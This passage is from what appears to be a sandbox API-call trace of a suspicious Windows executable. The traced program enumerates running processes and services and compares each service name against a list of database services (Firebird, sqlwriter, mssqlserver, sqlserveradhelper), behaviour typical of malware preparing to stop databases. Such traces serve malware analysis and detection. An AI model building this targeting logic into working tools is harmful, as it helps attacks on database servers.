lpString2="SysMain") returned -1 [0278.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.593] lstrlenW (lpString="SystemEventsBroker") returned 18 [0278.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0278.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0278.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5081068 | out: hHeap=0x670000) returned 1 [0278.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0278.600] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.601] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.602] lstrlenW (lpString="System") returned 6 [0278.602] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.602] lstrlenW (lpString="smss.exe") returned 8 [0278.602] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.603] lstrlenW (lpString="csrss.exe") returned 9 [0278.603] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.604] lstrlenW (lpString="wininit.exe") returned 11 [0278.604] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.604] lstrlenW (lpString="csrss.exe") returned 9 [0278.604] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.605] lstrlenW (lpString="winlogon.exe") returned 12 [0278.605] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.605] lstrlenW (lpString="services.exe") returned 12 [0278.605] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.606] lstrlenW (lpString="lsass.exe") returned 9 [0278.606] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.607] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.607] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.607] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.607] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.608] lstrlenW (lpString="svchost.exe") returned 11 [0278.608] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.608] lstrlenW (lpString="svchost.exe") returned 11 [0278.608] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.609] lstrlenW (lpString="dwm.exe") returned 7 [0278.609] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.610] lstrlenW (lpString="svchost.exe") returned 11 [0278.610] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.610] lstrlenW (lpString="svchost.exe") returned 11 [0278.610] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.611] lstrlenW (lpString="svchost.exe") returned 11 [0278.611] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.611] lstrlenW (lpString="svchost.exe") returned 11 [0278.611] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.612] lstrlenW (lpString="svchost.exe") returned 11 [0278.612] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.613] lstrlenW (lpString="svchost.exe") returned 11 [0278.613] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.613] lstrlenW (lpString="svchost.exe") returned 11 [0278.613] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.614] lstrlenW (lpString="svchost.exe") returned 11 [0278.614] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.614] lstrlenW (lpString="svchost.exe") returned 11 [0278.614] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.615] lstrlenW (lpString="svchost.exe") returned 11 [0278.615] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.615] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.616] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.616] lstrlenW (lpString="svchost.exe") returned 11 [0278.616] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.617] lstrlenW (lpString="audiodg.exe") returned 11 [0278.617] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.617] lstrlenW (lpString="sihost.exe") returned 10 [0278.617] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.618] lstrlenW (lpString="svchost.exe") returned 11 [0278.618] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.618] lstrlenW (lpString="taskhostw.exe") returned 13 [0278.619] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.619] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0278.619] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0278.620] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0278.620] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0278.620] lstrlenW (lpString="Memory Compression") returned 18 [0278.620] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.621] lstrlenW (lpString="explorer.exe") returned 12 [0278.621] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.621] lstrlenW (lpString="SearchUI.exe") returned 12 [0278.622] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.622] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0278.622] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.623] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0278.623] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.623] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0278.623] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0278.624] lstrlenW (lpString="finbbp.exe") returned 10 [0278.624] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.624] lstrlenW (lpString="svchost.exe") returned 11 [0278.625] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.625] lstrlenW (lpString="dllhost.exe") returned 11 [0278.625] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.626] lstrlenW (lpString="dllhost.exe") returned 11 [0278.626] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0278.627] CloseHandle (hObject=0x2f8) returned 1 [0278.627] Sleep (dwMilliseconds=0x1f4) [0280.802] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa970 [0280.802] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0280.803] GetLastError () returned 0xea [0280.803] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5081068 [0280.803] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5081068, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5081068, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0280.804] CloseServiceHandle (hSCObject=0x41aa970) returned 1 [0280.804] lstrlenW (lpString="Appinfo") returned 7 [0280.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0280.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0280.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0280.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0280.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0280.804] lstrlenW (lpString="AppXSvc") returned 7 [0280.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0280.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0280.804] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0280.804] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0280.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0280.805] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0280.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0280.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0280.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0280.805] lstrlenW (lpString="Audiosrv") returned 8 [0280.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0280.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0280.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0280.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0280.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0280.805] lstrlenW (lpString="BFE") returned 3 [0280.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0280.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0280.805] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0280.805] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0280.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0280.806] lstrlenW (lpString="BITS") returned 4 [0280.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0280.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0280.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0280.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0280.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0280.806] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0280.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0280.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0280.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0280.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0280.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0280.806] lstrlenW (lpString="CDPSvc") returned 6 [0280.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0280.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0280.806] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0280.806] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0280.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0280.806] lstrlenW (lpString="ClickToRunSvc") returned 13 [0280.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0280.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0280.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0280.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0280.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0280.806] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0280.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0280.807] lstrlenW (lpString="CryptSvc") returned 8 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0280.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0280.807] lstrlenW (lpString="DcomLaunch") returned 10 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0280.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0280.807] lstrlenW (lpString="DeviceAssociationService") returned 24 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0280.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0280.807] lstrlenW (lpString="Dhcp") returned 4 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0280.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0280.807] lstrlenW (lpString="Dnscache") returned 8 [0280.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0280.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0280.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0280.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0280.808] lstrlenW (lpString="DPS") returned 3 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0280.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0280.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0280.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0280.808] lstrlenW (lpString="DusmSvc") returned 7 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0280.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0280.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0280.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0280.808] lstrlenW (lpString="EventLog") returned 8 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0280.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0280.808] lstrcmpiW 